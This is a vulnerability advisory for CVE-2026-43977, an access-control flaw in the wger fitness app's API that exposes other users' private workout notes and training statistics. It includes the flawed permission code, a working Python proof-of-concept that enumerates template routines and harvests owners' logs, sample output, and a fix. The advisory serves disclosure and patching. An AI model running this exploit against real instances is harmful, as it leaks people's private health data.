PT-2026-41136 · Pypi · Wger

Published 2026-05-14 · Updated 2026-05-14 · CVE-2026-43977

OSV

CVSS v3.1

7.5

High

Base vector

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

Any authenticated user can read another user's private workout session notes, exercise history, and training statistics by calling the /logs/ and /stats/ actions on a routine they do not own.

The RoutinePermission class grants read access to any authenticated user when a routine has is template=True, regardless of ownership. The /logs/ and /stats/ API actions use the same permission check but return the routine owner's personal training data instead of the requesting user's data, creating an insecure direct object reference (IDOR).

An attacker with a free account can enumerate all public template routine IDs via GET /api/v2/routine/?is template=true, then call GET /api/v2/routine/{id}/logs/ and GET /api/v2/routine/{id}/stats/ to access the owner's private health data including workout notes, weights, repetitions, and performance statistics.

Description

wger exposes a REST API endpoint that allows any authenticated user to retrieve the private workout session notes, exercise logs, and training statistics belonging to another user, as long as that user has at least one routine marked as a public template.

The vulnerability exists in RoutineViewSet (wger/manager/api/views.py). The view defines two custom actions /logs/ and /stats/ that are intended to return data for the requesting user's own training history within a routine. However, the underlying permission check (RoutinePermission.has object permission) grants read access to any authenticated user when the routine has is template=True, regardless of ownership. When the /logs/ or /stats/ actions are invoked against a routine the attacker does not own, they return the owner's private workout history, not the attacker's.

Root Cause

File: wger/manager/api/permissions.py, lines 30–41

def has object permission(self, request, view, obj):
  if obj.user == request.user:
    return True

  if obj.is template:                 # ← any template is readable
    return request.method in permissions.SAFE METHODS # by any authenticated user

  return False

File: wger/manager/api/views.py, lines 173–199

@action(detail=True, url path='logs')
def logs(self, request, pk):
  out = LogDisplaySerializer(
    self.get object().logs display(),  # ← returns OWNER's logs, not request.user's
    many=True,
  ).data
  return Response(out)

@action(detail=True, url path='stats')
def stats(self, request, pk):
  out = LogStatsDataSerializer(
    self.get object().calculate log statistics() # ← owner's statistics
  ).data
  return Response(out)

self.get object() retrieves the routine belonging to the owner (e.g., user A). Since is template=True passes the permission check for any authenticated user, the attacker's request reaches logs display() and calculate log statistics(), which return the owner's workout history, not the attacker's.

The intended behavior is that templates are public workout plans (exercise structure, sets, reps), but the /logs/ and /stats/ actions expose the owner's personal training history logged against that plan.

Impact

An authenticated attacker can:

1. Enumerate all public template routines across all users: GET /api/v2/routine/?is template=true&is public=true
2. Read private workout session notes (freeform text entered by the victim after each workout session)
3. Read full workout history including exercise names, weights, repetitions, and dates
4. Read training statistics including volume, intensity, and set counts per muscle group and mesocycle

This data is health-related and personal. Under GDPR and similar regulations, unauthorized access to personal health data constitutes a data breach.

Proof of Concept

Scenario

There are two users in the system:

• alice : a regular wger user who has been using the platform for months. She created a routine called "My 5/3/1 Program" and marked it as a public template so others can copy her exercise structure. She logs all her workouts with personal notes after each session.
• bob : a second registered user who has never interacted with alice's account.

The attack:

Bob calls the routine listing endpoint to find all public templates. He gets back alice's routine ID. He then calls /api/v2/routine/{id}/logs/ an endpoint that should only show his own logs but instead receives alice's full workout history, including all her session notes ("Felt strong today, PR on squat"), weights, and performance data.

Bob does not need to know alice's username. He only needs her routine ID, which is a sequential integer discoverable by iterating ?is template=true.

Step-by-step

1. Bob registers a free account on the wger instance and obtains a JWT access token via POST /api/v2/token.
2. Bob calls GET /api/v2/routine/?is template=true&is public=true this lists all public template routines from all users across the platform, including their IDs.
3. For each routine ID returned, Bob calls GET /api/v2/routine/{id}/logs/ this returns the routine owner's workout sessions, including freeform personal notes and all logged exercises with weights and reps.
4. Bob calls GET /api/v2/routine/{id}/stats/ to get aggregated statistics (total volume, intensity by muscle group, weekly progression) for the routine's owner.

No special permissions are needed. A fresh account (1-minute-old) can exploit this.

Python PoC

#!/usr/bin/env python3
"""
PoC: IDOR - Workout Session Data Exposure via Template Routine API
Affected: wger <= 2.5.0a2
Target:  GET /api/v2/routine/{id}/logs/
     GET /api/v2/routine/{id}/stats/
"""

import requests
import json

BASE URL = "http://TARGET IP" # replace with target


def get token(username, password):
  r = requests.post(
    f"{BASE URL}/api/v2/token",
    json={"username": username, "password": password},
  )
  r.raise for status()
  return r.json()["access"]


def exploit(attacker token):
  headers = {"Authorization": f"Bearer {attacker token}"}

  # Step 1: Enumerate all public template routines (from ALL users)
  print("[*] Step 1: Enumerating public template routines...")
  r = requests.get(
    f"{BASE URL}/api/v2/routine/",
    params={"is template": "true", "is public": "true"},
    headers=headers,
  )
  routines = r.json().get("results", [])
  print(f"[+] Found {len(routines)} public template routine(s)
")

  for routine in routines:
    routine id = routine["id"]
    routine name = routine["name"]
    print(f"[*] Targeting routine #{routine id}: '{routine name}'")

    # Step 2: Fetch the OWNER's workout session logs (IDOR)
    logs r = requests.get(
      f"{BASE URL}/api/v2/routine/{routine id}/logs/",
      headers=headers,
    )

    if logs r.status code == 200:
      sessions = logs r.json()
      print(f"[+] VULNERABLE! Got {len(sessions)} session(s):")
      for session in sessions:
        s = session.get("session", {})
        print(f"  Date:    {s.get('date')}")
        print(f"  Notes:   {s.get('notes')}")  # ← private user notes
        print(f"  Impression: {s.get('impression')}")
        print(f"  Logs:    {len(session.get('logs', []))} exercise entries")
        print()

    # Step 3: Fetch the OWNER's training statistics (IDOR)
    stats r = requests.get(
      f"{BASE URL}/api/v2/routine/{routine id}/stats/",
      headers=headers,
    )

    if stats r.status code == 200:
      stats = stats r.json()
      print(f"[+] Training statistics for routine #{routine id}:")
      volume = stats.get("volume", {}).get("mesocycle", {})
      print(f"  Total volume:   {volume.get('total')} kg")
      print(f"  Upper body volume: {volume.get('upper body')} kg")
      print(f"  Lower body volume: {volume.get('lower body')} kg")
      print()

    print("-" * 60)


if  name  == " main ":
  # Attacker uses their OWN credentials (no privilege needed)
  print("[*] Authenticating as attacker (bob)...")
  token = get token("bob", "bobpassword")
  print(f"[+] Token acquired
")

  exploit(token)

Expected output

[*] Authenticating as attacker (bob)...
[+] Token acquired

[*] Step 1: Enumerating public template routines...
[+] Found 1 public template routine(s)

[*] Targeting routine #1: 'Admin Secret Routine'
[+] VULNERABLE! Got 1 session(s):
  Date:    2024-06-15
  Notes:   SECRET workout note   ← alice's private note
  Impression: 3
  Logs:    0 exercise entries

[+] Training statistics for routine #1:
  Total volume:   0.00 kg
  Upper body volume: 0.00 kg
  Lower body volume: 0.00 kg

Recommended Fix

The /logs/ and /stats/ actions must filter results to the requesting user, not the routine owner.

# wger/manager/api/views.py

@action(detail=True, url path='logs')
def logs(self, request, pk):
  routine = self.get object()
  # Only return logs for the requesting user, regardless of routine ownership
  out = LogDisplaySerializer(
    routine.logs display(user=request.user),
    many=True,
  ).data
  return Response(out)

@action(detail=True, url path='stats')
def stats(self, request, pk):
  routine = self.get object()
  out = LogStatsDataSerializer(
    routine.calculate log statistics(user=request.user)
  ).data
  return Response(out)

Additionally, RoutinePermission.has object permission should explicitly deny access to the /logs/ and /stats/ actions for non-owners, regardless of is template:

def has object permission(self, request, view, obj):
  if obj.user == request.user:
    return True

  # Template routines are readable, but only their structure 
  # never their owner's personal training history
  if obj.is template and view.action not in ('logs', 'stats'):
    return request.method in permissions.SAFE METHODS

  return False

Fix

Information Disclosure

Improper Access Control

Weakness Enumeration

CWE-200

CWE-284

Related Identifiers

CVE-2026-43977

GHSA-CJ9G-27PH-4CGV

Affected Products

Wger

References · 3

• https://osv.dev/vulnerability/GHSA-cj9g-27ph-4cgv · Vendor Advisory
• https://github.com/wger-project/wger · Note
• https://github.com/wger-project/wger/security/advisories/GHSA-cj9g-27ph-4cgv · Note